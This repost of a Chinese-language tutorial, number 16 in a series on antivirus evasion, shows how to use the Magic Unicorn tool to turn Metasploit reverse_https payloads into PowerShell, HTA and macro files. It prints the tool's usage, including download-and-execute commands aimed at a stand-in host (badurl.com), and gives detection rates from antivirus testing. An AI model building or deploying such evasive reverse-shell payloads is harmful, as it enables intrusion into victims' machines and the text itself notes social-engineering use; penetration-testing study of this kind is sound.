远控免杀专题(16)-Unicorn免杀(VT免杀率29/56)
2020-01-14 08:30:00 Author: mp.weixin.qq.com(查看原文) 阅读量:71 收藏

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

1.远控免杀专题(1)-基础篇:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg

2.远控免杀专题(2)-msfvenom隐藏的参数:https://mp.weixin.qq.com/s/1r0iakLpnLrjCrOp2gT10w

3.远控免杀专题(3)-msf自带免杀(VT免杀率35/69):https://mp.weixin.qq.com/s/A0CZslLhCLOK_HgkHGcpEA

4.远控免杀专题(4)-Evasion模块(VT免杀率12/71):https://mp.weixin.qq.com/s/YnnCM7W20xScv52k_ubxYQ

5.远控免杀专题(5)-Veil免杀(VT免杀率23/71):https://mp.weixin.qq.com/s/-PHVIAQVyU8QIpHwcpN4yw

6.远控免杀专题(6)-Venom免杀(VT免杀率11/71):https://mp.weixin.qq.com/s/CbfxupSWEPB86tBZsmxNCQ

7.远控免杀专题(7)-Shellter免杀(VT免杀率7/69):https://mp.weixin.qq.com/s/ASnldn6nk68D4bwkfYm3Gg

8.远控免杀专题(8)-BackDoor-Factory免杀(VT免杀率13/71):https://mp.weixin.qq.com/s/A30JHhXhwe45xV7hv8jvVQ

9.远控免杀专题(9)-Avet免杀(VT免杀率14/71):https://mp.weixin.qq.com/s/EIfqAbMC8HoC6xcZP9SXpA

10.远控免杀专题(10)-TheFatRat免杀(VT免杀率22/70):https://mp.weixin.qq.com/s/zOvwfmEtbkpGWWBn642ICA

11.远控免杀专题(11)-Avoidz免杀(VT免杀率23/71):https://mp.weixin.qq.com/s/TnfTXihlyv696uCiv3aWfg

12.远控免杀专题(12)-Green-Hat-Suite免杀(VT免杀率23/70):https://mp.weixin.qq.com/s/MVJTXOIqjgL7iEHrnq6OJg

13.远控免杀专题(13)-zirikatu免杀(VT免杀率39/71):https://mp.weixin.qq.com/s/5xLuu5UfF4cQbCq_6JeqyA

14.远控免杀专题(14)-AVIator免杀(VT免杀率25/69):https://mp.weixin.qq.com/s/JYMq_qHvnslVlqijHNny8Q

15.远控免杀专题(15)-DKMC免杀(VT免杀率8/55):https://mp.weixin.qq.com/s/UZqOBQKEMcXtF5ZU7E55Fg

16.远控免杀专题(16)-Unicorn免杀(VT免杀率29/56):本文

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus


几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。


Magic Unicorn是一个比较简单的小工具,主要是基于Matthew Graeber提出的PowerShell攻击技术以及David Kennedy和Josh Kelly 提出的powershell bypass技术,把所有payload都转换成powershell代码。

Magic Unicorn支持cobalt strike、Metasploit和自定义的shellcode。

安装比较简单

git clone https://github.com/trustedsec/unicorn.git

都不需要安装其他的python库,就可以直接运行。

当然还是需要已经安装了Msf才行,因为Unicorn生成payload还是依赖msf,只不过它把payload转换成了powershell命令来运行。

执行python unicorn.py即可。

可以使用python unicorn.py --help命令查看详细帮助

主要的几个用法如下:

Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exePS Down/Exec Macro: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe macroMacro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macroMacro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macroHTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 htaHTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 msHTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs htaHTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs msHTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode msDDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ddeCRT Example: python unicorn.py <path_to_payload/exe_encode> crtCustom PS1 Example: python unicorn.py <path to ps1 file>Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00 or metasploit)Custom Shellcode HTA: python unicorn.py <path_to_shellcode.txt> shellcode hta (formatted 0x00 or metasploit)Custom Shellcode Macro: python unicorn.py <path_to_shellcode.txt> shellcode macro (formatted 0x00 or metasploit)Generate .SettingContent-ms: python unicorn.py msHelp Menu: python unicorn.py --help

支持生成ps1、macro、hta、dde等形式的代码和文件。

我以最常规的windows/meterpreter/reverse_https来生成payload

生成命令为

python unicorn.py windows/meterpreter/reverse_https 10.211.55.2 3334

其中10.211.55.23334是我msf监听的ip和端口

生成了两个文件powershell_attack.txtunicorn.rc

其中powershell_attack.txt是生成的payload

unicorn.rc是msf配置文件,也就是用msfconsole -r unicorn.rc命令可以快捷的启动msf并监听相应端口

然后我们在测试机器上执行powershell_attack.txt里的代码

可正常上线

可以把powershell代码转换成exe,使用bat2exe就可以,生成ps1.exe

执行ps1.exe,发现触发了360安全卫士的行为检测,不过火绒没有反应。

virustotal.com上powershell_attack.txt文件的查杀率为14/57

virustotal.com上ps1.exe文件的查杀率为36/69,转exe后略微有点惨。

后来生成了一个hta文件进行测试,virustotal.com上查杀率为29/56

Unicorn使用比较简单,可以生成powershell代码、macro宏代码、hta、dde等格式的payload文件,可以在社工时直接使用,不过因为生成的代码关键字比较明显,所以静态查杀很多都没通过,只能说生成代码多样但免杀效果一般。

上面用到bat2exe工具和zirikatu已经放在tools文件夹中,还算挺好使。

https://github.com/TideSec/BypassAntiVirus/tree/master/tools

magic-unicorn:https://www.hackingarticles.in/magic-unicorn-powershell-downgrade-attack-and-exploitation-tool/

过win10防火墙和windows defender:https://null-byte.wonderhowto.com/how-to/hacking-windows-10-create-undetectable-payload-part-1-bypassing-antivirus-software-0185055/


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247485063&amp;idx=1&amp;sn=1bf86653aa65b4fed5780996b2ebf24c&amp;chksm=ce5e24e6f929adf01a9d50abf91ba22761b3b3013d0ed18c05a56b56c64d47a8e9baa06ccf29#rd
如有侵权请联系:admin#unsafe.sh